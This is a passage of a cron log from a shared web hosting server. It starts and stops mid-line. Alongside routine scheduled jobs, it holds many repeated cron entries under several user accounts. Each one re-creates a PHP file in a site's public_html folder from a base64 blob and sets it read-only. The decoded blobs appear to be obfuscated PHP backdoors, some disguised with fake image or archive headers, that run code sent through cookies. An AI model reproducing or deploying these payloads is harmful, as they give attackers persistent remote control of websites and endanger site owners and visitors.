"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:07:02 medusa CROND[6031]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:07:02 medusa CROND[6034]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:07:02 medusa CROND[6040]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:08:01 medusa CROND[17539]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:08:02 medusa CROND[17765]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:08:02 medusa CROND[17767]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:08:02 medusa CROND[17768]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:08:02 medusa CROND[17769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:08:02 medusa CROND[17777]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:08:02 medusa CROND[17779]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:08:02 medusa CROND[17780]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:08:02 medusa CROND[17781]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 20:08:02 medusa CROND[17782]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:08:02 medusa CROND[17785]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:08:02 medusa CROND[17776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:08:02 medusa CROND[17786]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:08:02 medusa CROND[17784]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:09:01 medusa CROND[27206]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:09:01 medusa CROND[27210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:09:01 medusa CROND[27211]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:09:01 medusa CROND[27213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:09:01 medusa CROND[27212]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XV